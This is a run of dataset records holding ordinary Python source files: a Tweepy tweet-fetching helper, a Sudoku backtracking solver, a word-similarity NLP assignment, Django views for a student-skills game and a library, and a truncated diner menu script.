\"Rate limit\" in e.reason:\n loop_flag = True\n while loop_flag:\n print(\"Rate limit reached. Sleeping\")\n time.sleep(TweepyHelper.sleep_time)\n try:\n user_screen_name = TweepyHelper.api.get_user(screen_name)\n except tweepy.error.TweepError as e2:\n if \"Rate limit\" in e2.reason: continue\n loop_flag = False\n else:\n print(e)\n result.append(str(e))\n if company_record is not None:\n company_record.other_comment = str(e)\n return result\n\n if user_screen_name is None:\n result.append(\"None screen name\")\n num_followers = user_screen_name.followers_count\n user_id = user_screen_name.id_str\n num_following = user_screen_name.friends_count\n result.append(TweepyHelper.trans_long_digit(user_id))\n result.append(str(num_followers))\n result.append(str(num_following))\n\n if company_record is not None:\n try:\n company_record.company_tweet_accound_id = TweepyHelper.trans_long_digit(user_id)\n company_record.total_following = num_following\n company_record.total_follower = num_followers\n company_record.company_twitter_date_actual=parse(str(user_screen_name.created_at))\n company_record.total_tweet_actual=user_screen_name.statuses_count\n except ValueError:\n print(company_record.company_screen_name)\n return result\n\n def get_alltweets_by_user(screen_name):\n all_tweets = []\n temp_tweets = []\n try:\n temp_tweets.extend(TweepyHelper.api.user_timeline(screen_name=screen_name, count=200))\n except tweepy.error.TweepError as e:\n if e.api_code == 88:\n loop_flag = True\n while loop_flag:\n print(\"Rate limit reached. Sleeping\")\n time.sleep(TweepyHelper.sleep_time)\n try:\n temp_tweets.extend(TweepyHelper.api.user_timeline(screen_name=screen_name, count=200))\n except tweepy.TweepError as e2:\n if e.api_code == 88:\n continue\n else:\n print(e)\n loop_flag = False\n while len(temp_tweets) > 0:\n oldest_id = temp_tweets[-1].id - 1\n all_tweets.extend(temp_tweets)\n temp_tweets = []\n try:\n # time.sleep(sleep_time)\n temp_tweets.extend(TweepyHelper.api.user_timeline(screen_name=screen_name, count=200, max_id=oldest_id))\n except tweepy.error.TweepError as e:\n if e.api_code == 88:\n loop_flag = True\n while loop_flag:\n print(\"Rate limit reached. Sleeping\")\n time.sleep(TweepyHelper.sleep_time)\n try:\n temp_tweets.extend(\n TweepyHelper.api.user_timeline(screen_name=screen_name, count=200, max_id=oldest_id))\n except tweepy.TweepError as e2:\n if e.api_code == 88:\n continue\n else:\n print(e)\n loop_flag = False\n result = []\n for single_tweet in all_tweets:\n is_retweet = False\n reply_tweet_text = TweepyHelper.get_tweetInfo_byId(single_tweet.in_reply_to_status_id_str)\n original_retweet_id = \"\"\n if hasattr(single_tweet, \"retweeted_status\"):\n is_retweet = True\n original_retweet_id = single_tweet.retweeted_status.id_str\n is_quote = False\n original_quote_id = \"\"\n if hasattr(single_tweet, \"quoted_status\"):\n is_quote = True\n original_quote_id = single_tweet.quoted_status.id_str\n single_output = [TweepyHelper.trans_long_digit(single_tweet.id_str), single_tweet.created_at,\n single_tweet.text.encode(\"utf-8\"),\n single_tweet.favorite_count, single_tweet.retweet_count,\n single_tweet.in_reply_to_screen_name,\n TweepyHelper.trans_long_digit(single_tweet.in_reply_to_status_id_str), reply_tweet_text,\n is_retweet,\n TweepyHelper.trans_long_digit(original_retweet_id), is_quote,\n TweepyHelper.trans_long_digit(original_quote_id)];\n result.append(single_output)\n return result\n\n def trans_long_digit(input):\n inputStr = str(input)\n if (input is None or len(inputStr) < 1):\n return input\n else:\n return \"'\" + inputStr\n\n\nif __name__ == '__main__':\n pass\n","sub_path":"Twitter/tweet_tweepy.py","file_name":"tweet_tweepy.py","file_ext":"py","file_size_in_byte":7875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"26669687","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Aug 13 21:57:06 2020\r\n\r\n@author: duxiaoqin\r\nFunctions:\r\n (1)Backtracking Algorithm for all solutions;\r\n\"\"\"\r\n\r\nimport copy\r\nfrom time import *\r\nfrom graphics import *\r\nfrom sudoku import *\r\nfrom sudokudraw import *\r\n\r\ndef SameBlock(row_i, col_i, row_j, col_j):\r\n if abs(row_i - row_j) >= 3 or abs(col_i - col_j) >= 3:\r\n return False\r\n if ((0 <= row_i <= 2 and 0 <= row_j <= 2) or \\\r\n (3 <= row_i <= 5 and 3 <= row_j <= 5) or \\\r\n (6 <= row_i <= 8 and 6 <= row_j <= 8)) and \\\r\n ((0 <= col_i <= 2 and 0 <= col_j <= 2) or \\\r\n (3 <= col_i <= 5 and 3 <= col_j <= 5) or \\\r\n (6 <= col_i <= 8 and 6 <= col_j <= 8)):\r\n return True\r\n else:\r\n return False\r\n\r\ndef Consistent(rowcol_i, vi, Solution):\r\n row_i, col_i = rowcol_i\r\n for (row_j, col_j), vj in Solution:\r\n if (row_i == row_j or col_i == col_j or SameBlock(row_i, col_i, row_j, col_j)) and vi == vj:\r\n return False\r\n return True\r\n\r\ndef Backtracking(Vars, Solution, Solutions):\r\n (row, col), Vi = Vars[0]\r\n for vi in Vi:\r\n if Consistent((row, col), vi, Solution):\r\n Solution.append(((row, col), vi))\r\n if len(Vars) == 1:\r\n Solutions.append(copy.deepcopy(Solution))\r\n else:\r\n VarsC = copy.deepcopy(Vars)\r\n VarsC.pop(0)\r\n Backtracking(VarsC, Solution, Solutions)\r\n Solution.pop()\r\n\r\ndef main():\r\n win = GraphWin('Backtracking', 600, 600, autoflush = False)\r\n sudoku = Sudoku(9)\r\n sudoku[0, 1], sudoku[0, 5], sudoku[0, 7] = 2, 1, 9\r\n sudoku[1, 0], sudoku[1, 3], sudoku[1, 8] = 8, 2, 6\r\n sudoku[2, 1], sudoku[2, 4], sudoku[2, 7] = 3, 6, 7\r\n sudoku[3, 2], sudoku[3, 6] = 1, 6\r\n sudoku[4, 0], sudoku[4, 1], sudoku[4, 7], sudoku[4, 8] = 5, 4, 1, 9\r\n sudoku[5, 2], sudoku[5, 6] = 2, 7\r\n sudoku[6, 1], sudoku[6, 4], sudoku[6, 7] = 9, 3, 8\r\n sudoku[7, 0], sudoku[7, 3], sudoku[7, 5], sudoku[7, 8] = 2, 8, 4, 7\r\n sudoku[8, 1], sudoku[8, 3], sudoku[8, 5], sudoku[8, 7] = 1, 9, 7, 6\r\n\r\n sudokudraw = SudokuDraw(win, sudoku)\r\n text = Text(Point(sudoku.size/2+1, 0.5), 'Searching...')\r\n text.setTextColor('red')\r\n text.draw(win)\r\n sudokudraw.draw(sudoku)\r\n \r\n Vars = []\r\n Solution = []\r\n for row in range(sudoku.size):\r\n for col in range(sudoku.size):\r\n if sudoku[row, col] != Sudoku.EMPTY:\r\n Solution.append(((row, col), sudoku[row, col]))\r\n else:\r\n Vars.append(((row, col), list(range(1, sudoku.size + 1))))\r\n Solutions = []\r\n Backtracking(Vars, Solution, Solutions)\r\n\r\n for index, Solution in enumerate(Solutions):\r\n text.setText('{}/{} Solutions'.format(index+1, len(Solutions)))\r\n for (row, col), value in Solution:\r\n sudoku[row, col] = value\r\n sudokudraw.draw(sudoku)\r\n time.sleep(1.0)\r\n if win.checkKey() == 'Escape':\r\n win.close()\r\n exit()\r\n win.getKey()\r\n win.close() \r\n \r\nif __name__ == '__main__':\r\n main()","sub_path":"【1】 人工智能/1). 相关源码/约束满足问题/SudokuCode/backtracking-all.py","file_name":"backtracking-all.py","file_ext":"py","file_size_in_byte":3115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"84401043","text":"from __future__ import division\nfrom math import log,sqrt\nfrom nltk.stem import *\nfrom nltk.stem.porter import *\nfrom nltk.corpus import wordnet as wn\nfrom load_map import *\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport operator\nimport collections\nimport csv\nfrom scipy import stats\n\nSTEMMER = PorterStemmer()\n\n# helper function to get the count of a word (string)\ndef w_count(word):\n\treturn o_counts[word2wid[word]]\n\n\ndef tw_stemmer(word, stemmed_to_original):\n\t'''Stems the word using Porter stemmer, unless it is a\n\tusername (starts with @). If so, returns the word unchanged.\n\n\t:type word: str\n\t:param word: the word to be stemmed\n\t:rtype: str\n\t:return: the stemmed word\n\t'''\n\n\tif word[0] == '@' or word[0] == '#': # don't stem these\n\t\treturn word\n\telse:\n\t\tstemmed_word = STEMMER.stem(word)\n\t\tstemmed_to_original[stemmed_word].append(word)\n\t\treturn stemmed_word\n\n\ndef PMI(c_xy, c_x, c_y, N):\n\t'''Compute the pointwise mutual information using cooccurrence counts.\n\n\t:type c_xy: int\n\t:type c_x: int\n\t:type c_y: int\n\t:type N: int\n\t:param c_xy: coocurrence count of x and y\n\t:param c_x: occurrence count of x\n\t:param c_y: occurrence count of y\n\t:param N: total observation count\n\t:rtype: float\n\t:return: the pmi value\n\t'''\n\n\tpmi = log((N * c_xy) / (c_x * c_y), 2)\n\treturn pmi\n\n\n# Do a simple error check using value computed by hand\nif(PMI(2,4,3,12) != 1): # these numbers are from our y,z example\n\tprint(\"Warning: PMI is incorrectly defined\")\nelse:\n\tprint(\"PMI check passed\")\n\n\ndef cos_sim(v0, v1):\n\t'''Compute the cosine similarity between two sparse vectors.\n\n\t:type v0: dict\n\t:type v1: dict\n\t:param v0: first sparse vector\n\t:param v1: second sparse vector\n\t:rtype: float\n\t:return: cosine between v0 and v1\n\t'''\n\n\tsum_v0 = sum([v**2 for k, v in v0.items()])\n\tsum_v1 = sum([v**2 for k, v in v1.items()])\n\n\tsum_both = 0\n\tfor k, v in v0.items():\n\t\tif k in v1:\n\t\t\tsum_both += v * v1[k]\n\n\tcos = sum_both / (np.sqrt(sum_v0) * np.sqrt(sum_v1))\n\treturn cos\n\n\ndef jaccard(v0, v1):\n\t'''Compute the jaccard similarity between two sparse vectors.\n\n\t:type v0: dict\n\t:type v1: dict\n\t:param v0: first sparse vector\n\t:param v1: second sparse vector\n\t:rtype: float\n\t:return: jaccard between v0 and v1\n\t'''\n\n\tx = v0.keys()\n\ty = v1.keys()\n\tintersection_cardinality = len(set(x) & set(y))\n\tunion_cardinality = len(set(x) | set(y))\n\treturn intersection_cardinality / union_cardinality\n\n\ndef dice_coefficient(v0, v1):\n\t'''Compute the dice coefficient similarity between two sparse vectors.\n\n\t:type v0: dict\n\t:type v1: dict\n\t:param v0: first sparse vector\n\t:param v1: second sparse vector\n\t:rtype: float\n\t:return: dice coefficient between v0 and v1\n\t'''\n\n\tx = v0.keys()\n\ty = v1.keys()\n\tintersection_cardinality = len(set(x) & set(y))\n\treturn 2 * intersection_cardinality/(len(x) + len(y))\n\n\ndef create_ppmi_vectors(wids, o_counts, co_counts, tot_count):\n\t'''Creates context vectors for the words in wids, using PPMI.\n\tThese should be sparse vectors.\n\n\t:type wids: list of int\n\t:type o_counts: dict\n\t:type co_counts: dict of dict\n\t:type tot_count: int\n\t:param wids: the ids of the words to make vectors for\n\t:param o_counts: the counts of each word (indexed by id)\n\t:param co_counts: the cooccurrence counts of each word pair (indexed by ids)\n\t:param tot_count: the total number of observations\n\t:rtype: dict\n\t:return: the context vectors, indexed by word id\n\t'''\n\n\tvectors = {}\n\tfor wid0 in wids:\n\t\tvect = {}\n\t\tc_x = o_counts[wid0]\n\t\tfor k, v in co_counts[wid0].items():\n\t\t\tc_y = o_counts[k]\n\t\t\tc_xy = v\n\t\t\tpmi = PMI(c_xy, c_x, c_y, tot_count)\n\t\t\tvect[k] = max(pmi, 0)\n\t\tvectors[wid0] = vect\n\treturn vectors\n\n\ndef read_counts(filename, wids):\n\t'''Reads the counts from file. It returns counts for all words, but to\n\tsave memory it only returns cooccurrence counts for the words\n\twhose ids are listed in wids.\n\n\t:type filename: string\n\t:type wids: list\n\t:param filename: where to read info from\n\t:param wids: a list of word ids\n\t:returns: occurence counts, cooccurence counts, and tot number of observations\n\t'''\n\n\to_counts = {} # Occurence counts\n\tco_counts = {} # Cooccurence counts\n\tfp = open(filename)\n\tN = float(next(fp))\n\tfor line in fp:\n\t\tline = line.strip().split(\"\\t\")\n\t\twid0 = int(line[0])\n\t\to_counts[wid0] = int(line[1])\n\t\tif(wid0 in wids):\n\t\t\tco_counts[wid0] = dict([int(y) for y in x.split(\" \")] for x in line[2:])\n\treturn (o_counts, co_counts, N)\n\n\n# Matches adjectives to WordNet synset form\nadjectives_to_synset = {\n\t'happy': 'happiness.n.01',\n\t'delighted': 'delight.n.01',\n\t'ecstatic': 'ecstasy.n.01',\n\t'cheerful': 'cheerfulness.n.01',\n\t'calm': 'calm.n.01',\n\t'peaceful': 'peace.n.01',\n\t'relaxed': 'relaxation.n.03',\n\t'quiet': 'quiet.n.04',\n\t'serene': 'serenity.n.01',\n\t'angry': 'anger.n.01',\n\t'irritated': 'irritation.n.01',\n\t'enraged': 'rage.n.01',\n\t'annoyed': 'annoyance.n.01',\n\t'hateful': 'hate.n.01',\n\t'sad': 'sadness.n.01',\n\t'depressed': 'depression.n.01',\n\t'grieved': 'grief.n.01',\n\t'unhappy': 'unhappiness.n.01',\n\t'upset': 'upset.n.01'\n}\n\ndef create_target_similarities(feelings):\n '''Creates the target similarities dictionaries (arrays) using Path, \n Leacock-Chodorow and Wu-Palmer Similarities algorithms\n\n\t:type feelings: array of strings\n\t:param feelings: all the feelings word used\n\t:returns: path_similarities (array and dict), lch_similarities (array and dict),\n wup_similarities (array and dict)\n\t'''\n \n path_similarities_dict = {}\n lch_similarities_dict = {}\n wup_similarities_dict = {}\n \n path_similarities = []\n lch_similarities = []\n wup_similarities = []\n \n for i, word1 in enumerate(feelings):\n \tfor j, word2 in enumerate(feelings):\n \t\tif i >= j:\n \t\t\tcontinue\n \n \t\twid1 = word2wid[STEMMER.stem(word1)]\n \t\twid2 = word2wid[STEMMER.stem(word2)]\n \n \t\tif word1 in adjectives_to_synset:\n \t\t\tword11 = adjectives_to_synset[word1]\n \t\telse:\n \t\t\tcontinue\n \n \t\tif word2 in adjectives_to_synset:\n \t\t\tword22 = adjectives_to_synset[word2]\n \t\telse:\n \t\t\tcontinue\n \n \t\tif word11 != word22:\n \t\t\tword11 = wn.synset(word11)\n \t\t\tword22 = wn.synset(word22)\n \n \t\t\tsim = word11.path_similarity(word22)\n \t\t\tpath_similarities.append((word1, word2, sim))\n \t\t\tpath_similarities_dict[(wid1, wid2)] = sim\n \n \t\t\tsim = word11.lch_similarity(word22)\n \t\t\tlch_similarities.append((word1, word2, sim))\n \t\t\tlch_similarities_dict[(wid1, wid2)] = sim\n \n \t\t\tsim = word11.wup_similarity(word22)\n \t\t\twup_similarities.append((word1, word2, sim))\n \t\t\twup_similarities_dict[(wid1, wid2)] = sim\n \n return path_similarities, path_similarities_dict, lch_similarities,\\\n lch_similarities_dict, wup_similarities, wup_similarities_dict\n\n\ndef print_sorted_pairs(similarities, o_counts, first=0, last=100):\n\t'''Sorts the pairs of words by their similarity scores and prints\n\tout the sorted list from index first to last, along with the\n\tcounts of each word in each pair.\n\n\t:type similarities: dict\n\t:type o_counts: dict\n\t:type first: int\n\t:type last: int\n\t:param similarities: the word id pairs (keys) with similarity scores (values)\n\t:param o_counts: the counts of each word id\n\t:param first: index to start printing from\n\t:param last: index to stop printing\n\t:return: none\n\t'''\n\n\tif first < 0:\n\t\tlast = len(similarities)\n\tfor pair in sorted(similarities.keys(), key=lambda x: similarities[x], reverse = True)[first:last]:\n\t\tword_pair = (wid2word[pair[0]], wid2word[pair[1]])\n\t\tprint(\"{:.3f}\\t{:30}\\t{}\\t{}\".format(similarities[pair],str(word_pair),\n\t\t\t\t\t\t\t\t\t\t\to_counts[pair[0]],o_counts[pair[1]]))\n\n\ndef print_relation_sentiments_other_words(test_words, word):\n '''Displays the number of cooccurences between other words (like 'osama' \n and 'obama') and the feelings from the input file\n\n\t:type test_words: array of strings\n :type word: sring\n\t:param test_words: all the words used for testing: feelings + othe words\n :param word: a word from the category 'other words'\n\t:return: none\n\t'''\n \n print(word.upper())\n for test_word in test_words:\n \tif test_word == word:\n \t\tcontinue\n \n \ttry:\n \t\tprint(test_word, STEMMER.stem(test_word),co_counts[word2wid[word]][word2wid[STEMMER.stem(test_word)]])\n \texcept KeyError:\n \t\tprint(test_word)\n\n\ndef save_to_csv(similarities, file_name, first=0, last=100):\n\t'''Sorts the pairs of words by their similarity scores and save the sorted\n\tlist to csv file, along with the counts of each word in each pair.\n\n\t:type similarities: dict\n\t:type file_name: string\n\t:param similarities: the word id pairs (keys) with similarity scores (values)\n\t:param last: the name of the csv file which will contain the similarities\n\t:return: none\n\t'''\n\n\twith open(file_name, 'w') as csvfile:\n\t\twriter = csv.writer(csvfile, delimiter=',',\n\t\t\t\t\t\t\tquotechar='|', quoting=csv.QUOTE_MINIMAL)\n\t\twriter.writerow(['Source', 'Target', 'Weight'])\n\t\tfor pair in sorted(similarities.keys(), key=lambda x: similarities[x], reverse = True)[first:last]:\n\t\t\twriter.writerow([wid2word[pair[0]], wid2word[pair[1]], round(similarities[pair], 3)])\n\n\ndef save_target_similarities_to_csv(similarities, file_name):\n\t'''Save the target similarities produced using Path, Leacock-Chodorow\n\tand Wu-Palmer Similarity algorithms to csv file\n\n\t:type similarities: dict\n\t:type file_name: string\n\t:param similarities: the word id pairs (keys) with similarity scores (values)\n\t:param last: the name of the csv file which will contain the similarities\n\t:return: none\n\t'''\n \n\twith open(file_name, 'w') as csvfile:\n\t\twriter = csv.writer(csvfile, delimiter=',',\n\t\t\t\t\t\t\tquotechar='|', quoting=csv.QUOTE_MINIMAL)\n\t\twriter.writerow(['Word1', 'Word2', 'Similarity'])\n\t\tfor triple in similarities:\n\t\t\twriter.writerow([triple[0], triple[1], triple[2]])\n\n\ndef freq_v_sim(sims):\n '''Plot and compute (using Spearman's rank correlation coefficient) the \n relation between similarities and the frequency of words\n\n\t:type sims: dict\n\t:param sims: the word id pairs (keys) with similarity scores (values)\n\t:return: none\n\t'''\n \n xs = []\n ys = []\n for pair in sims.items():\n ys.append(pair[1])\n c0 = o_counts[pair[0][0]]\n c1 = o_counts[pair[0][1]]\n xs.append(min(c0,c1))\n plt.clf() # clear previous plots (if any)\n plt.xscale('log') #set x axis to log scale. Must do *before* creating plot\n plt.plot(xs, ys, 'k.') # create the scatter plot\n plt.xlabel('Min Freq')\n plt.ylabel('Similarity')\n print(\"Freq vs Similarity Spearman correlation = {:.2f}\".format(stats.spearmanr(xs,ys)[0]))\n plt.show() #display the set of plots\n \n \ndef sim_v_sim(sims1, sims2):\n '''Plot and compute (using Spearman's rank correlation coefficient) the \n relation between two types of similarities\n\n\t:type sims1: dict\n :type sims2: dict\n\t:param sims1: the word id pairs (keys) with similarity scores (values)\n :param sims2: the word id pairs (keys) with similarity scores (values)\n\t:return: none\n\t'''\n \n xs = []\n ys = []\n for pair in sims1.items():\n xs.append(pair[1])\n ys.append(sims2[pair[0]])\n plt.clf() # clear previous plots (if any)\n fig = plt.figure(figsize=(5, 5))\n ax = fig.add_subplot(111)\n ax.plot(xs, ys, 'k.') # create the scatter plot\n plt.xlabel('Cosine Similarity')\n plt.ylabel('Jaccard index')\n plt.savefig('spearmanr.pdf')\n print(\"Similarity 1 vs Similarity 2 Spearman correlation = {:.2f}\".format(stats.spearmanr(xs,ys)[0]))\n plt.show() #display the set of plots\n\n\ndef make_pairs(items):\n\t'''Takes a list of items and creates a list of the unique pairs\n\twith each pair sorted, so that if (a, b) is a pair, (b, a) is not\n\talso included. Self-pairs (a, a) are also not included.\n\n\t:type items: list\n\t:param items: the list to pair up\n\t:return: list of pairs\n\n\t'''\n \n\treturn [(x, y) for x in items for y in items if x < y]\n\n\n# Test words for preliminary task\n#test_words = [\"cat\", \"dog\", \"mouse\", \"computer\",\"@justinbieber\"]\n\ntest_words = []\nspamReader = csv.reader(open('feelings.csv', newline=''), delimiter=',', quotechar='|')\nfor row in spamReader:\n\trow_words = [word for word in row]\n\ttest_words.extend(row_words)\n\n\nstemmed_to_original = collections.defaultdict(list)\nstemmed_to_original_large = collections.defaultdict(list)\nstemmed_to_original_all = collections.defaultdict(list)\n\nwith open(\"/afs/inf.ed.ac.uk/group/teaching/anlp/lab8/wid_word\") as fp:\n\tfor line in fp:\n\t\twidstr,word=line.rstrip().split(\"\\t\")\n\t\twid=int(widstr)\n\t\tstemmed_word = STEMMER.stem(word)\n\t\tstemmed_to_original_all[stemmed_word].append(word)\n\n\nstemmed_words = [tw_stemmer(w, stemmed_to_original) for w in test_words]\n#stemmed_words = test_words\n\nall_wids = set([word2wid[x] for x in stemmed_words]) # stemming might create duplicates; remove them\n\n# you could choose to just select some pairs and add them by hand instead\n# but here we automatically create all pairs\nwid_pairs = make_pairs(all_wids)\n\n#read in the count information\n#(o_counts, co_counts, N) = read_counts(\"/afs/inf.ed.ac.uk/group/teaching/anlp/asgn3/counts\", all_wids)\n\n#make the word vectors\n#vectors = create_ppmi_vectors(all_wids, o_counts, co_counts, N)\n\n\n\n\ntest_words_large = test_words + [STEMMER.stem('osama'), STEMMER.stem('obama')]\nstemmed_words_large = [tw_stemmer(w, stemmed_to_original_large) for w in test_words_large]\n#stemmed_words = test_words\n\nall_wids_large = set([word2wid[x] for x in stemmed_words_large]) # stemming might create duplicates; remove them\n\n# you could choose to just select some pairs and add them by hand instead\n# but here we automatically create all pairs\nwid_pairs_large = make_pairs(all_wids_large)\n\n#read in the count information\n(o_counts, co_counts, N) = read_counts(\"/afs/inf.ed.ac.uk/group/teaching/anlp/asgn3/counts\", all_wids_large)\n\n#make the word vectors\nvectors = create_ppmi_vectors(all_wids_large, o_counts, co_counts, N)\n\n\n\n\n\n\n# Print all cooccurences between 'osama' and the feelings ('obama' and feelings)\nprint('#'*80)\nprint_relation_sentiments_other_words(test_words, 'osama')\nprint('#'*80)\nprint_relation_sentiments_other_words(test_words, 'obama')\nprint('#'*80)\n\n\n\n \npath_similarities, path_similarities_dict, lch_similarities,lch_similarities_dict,\\\n wup_similarities, wup_similarities_dict = create_target_similarities(test_words)\n \n \ndef compute_similarities(vectors, wid_pairs, file_name, sim_func):\n '''Creates the target similarities dictionaries (arrays) using Path, \n Leacock-Chodorow and Wu-Palmer Similarities algorithms\n\n\t:type vectors: array\n\t:type wid_pairs: list of pairs\n\t:type file_name: string\n\t:type sim_func: function\n\t:param vectors: PPMI vectors\n\t:param wid_pairs: pairs of wids\n\t:param file_name: the name of the output file for similarities\n\t:param sim_func: the function applied to compute the similarities\n\t:rtype: dict\n\t:return: the similarities obtained using sim_func\n\t'''\n \n print(\"Compute\", file_name)\n sims = {(wid0,wid1): sim_func(vectors[wid0],vectors[wid1]) for (wid0,wid1) in wid_pairs}\n print(\"Sort by\", file_name)\n save_to_csv(sims, file_name=file_name + '.csv', last=-1)\n \n return sims\n\n\nc_sims = compute_similarities(vectors, wid_pairs, 'cos_sim', cos_sim)\nj_sims = compute_similarities(vectors, wid_pairs, 'jaccard', jaccard)\nd_sims = compute_similarities(vectors, wid_pairs, 'dice', dice_coefficient)\n\nc_sims_large = compute_similarities(vectors, wid_pairs_large, 'cos_sim_large', cos_sim)\nj_sims_large = compute_similarities(vectors, wid_pairs_large, 'jaccard_large', jaccard)\nd_sims_large = compute_similarities(vectors, wid_pairs_large, 'dice_large', dice_coefficient)\n\nsave_target_similarities_to_csv(path_similarities, 'path_similarities.csv')\nsave_target_similarities_to_csv(lch_similarities, 'lch_similarities.csv')\nsave_target_similarities_to_csv(wup_similarities, 'wup_similarities.csv')\n\ndef sort_dict_keys(similarities):\n\t'''Sorts the elements from the dictionary on the ascending order of the keys\n\n\t:type similarities: dict\n\t:param similarities: a dictionary with similarity scores\n\t:rtype: dict\n\t:return: the sorted dictionary\n\t'''\n\n\tresult = dict()\n\tfor key_pair, value in similarities.items():\n\t\tif key_pair[0] > key_pair[1]:\n\t\t\tnew_pair = (key_pair[1], key_pair[0])\n\t\telse:\n\t\t\tnew_pair = (key_pair[0], key_pair[1])\n\t\tresult[new_pair] = value\n\treturn result\n\npath_similarities_dict_sorted = sort_dict_keys(path_similarities_dict)\nlch_similarities_dict_sorted = sort_dict_keys(lch_similarities_dict)\nwup_similarities_dict_sorted = sort_dict_keys(wup_similarities_dict)\n\ndef normalize(similarities):\n\t'''Normalize the values from the dictionary in order to make them fit\n\tbetween 0 and 1\n\n\t:type similarities: dict\n\t:param similarities: a dictionary with similarity scores\n\t:rtype: dict\n\t:return: a dictionary with normalized values\n\t'''\n\n\tmin_val = min(similarities.values())\n\tmax_val = max(similarities.values())\n\tresult = {k: ((v - min_val) / (max_val - min_val)) for k, v in similarities.items()}\n\treturn result\n\ndef compute_error(cos_outputs, jaccard_outputs, targets, error_function, to_normalize=False):\n\t'''Compute error on cosine and jaccard similarities using RMSE\n\n\t:type cos_outputs: dict\n\t:type jaccard_outputs: dict\n\t:type targets: dict\n\t:type error_function: function\n\t:type to_normalize: bool\n\t:param cos_outputs: a dictionary with cosine similarity scores\n\t:param jaccard_outputs: a dictionary with jaccard similarity scores\n\t:param targets: a dictionary with targets similarity scores\n\t:param error_function: RMSE function\n\t:param to_normalize: checks if we want to normalize the values or not\n\t:return: none\n\t'''\n\n\tif to_normalize:\n\t\ttargets = normalize(targets)\n\n\tcos_error = root_mean_squared_error(cos_outputs, targets)\n\tjaccard_error = root_mean_squared_error(jaccard_outputs, targets)\n\tprint(cos_error, jaccard_error)\n\ndef root_mean_squared_error(outputs, targets):\n\t'''Compute error using root mean squared error (RMSE)\n\n\t:type outputs: dict\n\t:type targets: dict\n\t:param outputs: a dictionary with output similarity scores\n\t:param targets: a dictionary with targets similarity scores\n\t:rtype: float\n\t:return: the error value\n\t'''\n\n\tsuma = 0\n\tfor output_key, target_key in zip(outputs, targets):\n\t\tsuma += (outputs[output_key] - targets[target_key]) ** 2\n\treturn sqrt(suma / len(targets))\n\nprint('#'*80)\npath_similarities_errors = compute_error(c_sims, j_sims, path_similarities_dict_sorted, root_mean_squared_error, True)\nprint('*'*80)\nlch_similarities_errors = compute_error(c_sims, j_sims, lch_similarities_dict_sorted, root_mean_squared_error, True)\nprint('*'*80)\nwup_similarities_errors = compute_error(c_sims, j_sims, wup_similarities_dict_sorted, root_mean_squared_error, True)\nprint('#'*80)\n\n","sub_path":"asgn3_nice.py","file_name":"asgn3_nice.py","file_ext":"py","file_size_in_byte":18627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"261807984","text":"# from django.shortcuts import render\n\n# Create your views here.\nfrom django.shortcuts import render_to_response, get_object_or_404\nfrom django.template import RequestContext\nfrom skills.models import Skill, UsedSkill, StudentSkill\nfrom students.models import Student, Group\nfrom teachers.forms import CreateGroupForm\n\n\ndef use_skills_list(request, pk):\n student = get_object_or_404(Student, id=pk)\n return render_to_response('teachers/use_skills.html',\n {'student': student}, context_instance=RequestContext(request))\n\n\ndef use_skill(request, student_pk, skill_pk):\n student = get_object_or_404(Student, id=student_pk)\n st_skill = get_object_or_404(StudentSkill, id=skill_pk)\n skill = get_object_or_404(Skill, id=st_skill.skill.id)\n student.SP -= skill.requirement\n student.save()\n UsedSkill.objects.create(student=student, skill=skill)\n if student.role.name == \"Волшебник\" and skill.name == \"Поцелуй маны\":\n st_list = Student.objects.all()\n group = get_object_or_404(Group, id=student.group.id)\n for student in st_list:\n if student.group == group and student.role.name != \"Волшебник\":\n student.SP += 7\n student.save()\n if student.role.name == \"Священник\" and skill.name == \"Исцеляющий круг\":\n group = get_object_or_404(Group, id=student.group.id)\n st_list = Student.objects.all()\n for student in st_list:\n if student.group == group and student.role.name != \"Священник\":\n student.HP += 15\n student.save()\n\n student = get_object_or_404(Student, id=student_pk)\n\n return render_to_response('teachers/ok.html', {'student': student}, context_instance=RequestContext(request))\n\n\ndef skill_history(request, student_pk):\n student = get_object_or_404(Student, id=student_pk)\n return render_to_response('teachers/skill_history.html',\n {'student': student}, context_instance=RequestContext(request))\n\n\ndef create_group(request):\n if request.method == 'POST':\n form = CreateGroupForm(request.POST)\n if form.is_valid():\n name = form.cleaned_data.get('name')\n Group.objects.create(name=name)\n return render_to_response('teachers/ok1.html', context_instance=RequestContext(request))\n else:\n form = CreateGroupForm()\n\n return render_to_response('teachers/create_group.html', {\n\n 'form': form, }, context_instance=RequestContext(request))\n","sub_path":"teachers/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"64238041","text":"import datetime\nfrom django.utils import timezone\nfrom django.http import Http404\nfrom django.shortcuts import render\nfrom . import models\n# Create your views here.\ndef library_home_view(request):\n rlo = models.LearningObject.objects.filter(\n timestamp__gte=timezone.now() - datetime.timedelta(days=7))\n context = {\n 'recent_learning_objects': rlo,\n }\n return render(request, 'library/main.html', context)\n\ndef library_item(request, item_id):\n try:\n item = models.LearningObject.objects.get(id=item_id)\n return render(request, 'library/learning_object.html', {'item':item})\n\n except models.LearningObject.DoesNotExist:\n raise Http404\n","sub_path":"enspace/library/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"216336978","text":"def main():\n totalCost = 0\n print('''\n \"Welcome to the Bottega Diner, where we serve your favorite munchies all day!\"\n ''')\n name = input(\"What is your name?\")\n print(\"Hello \" + name + \"!\")\n print('''\n You get one entree and two side choices at regular cost.\n ''')\n\n answer = input(\"Would you like to try the house special? It is Cornflakes with Ketchup.\").upper()\n if answer == \"YES\":\n print(\"Are you sure? It tastes like shit!\")\n else:\n print(\"Good, because it tastes like shit!\")\n\n print('''\n Here is our menu!\n ''')\n\n mainMenu(totalCost)\n\n\ndef mainMenu(totalCost):\n print(\"1.Sandwhich $8.00\")\n print(\"2.Hotdog $7.50\")\n print(\"3.Salad $6.00\")\n selection = int(input(\"Enter Choice:\"))\n print(\"\\n\")\n if selection == 1:\n totalCost += Sandwhich(totalCost)\n totalCost += sideMenu(totalCost)\n receipt = \"your total is $\" + str(totalCost)\n print(receipt)\n elif 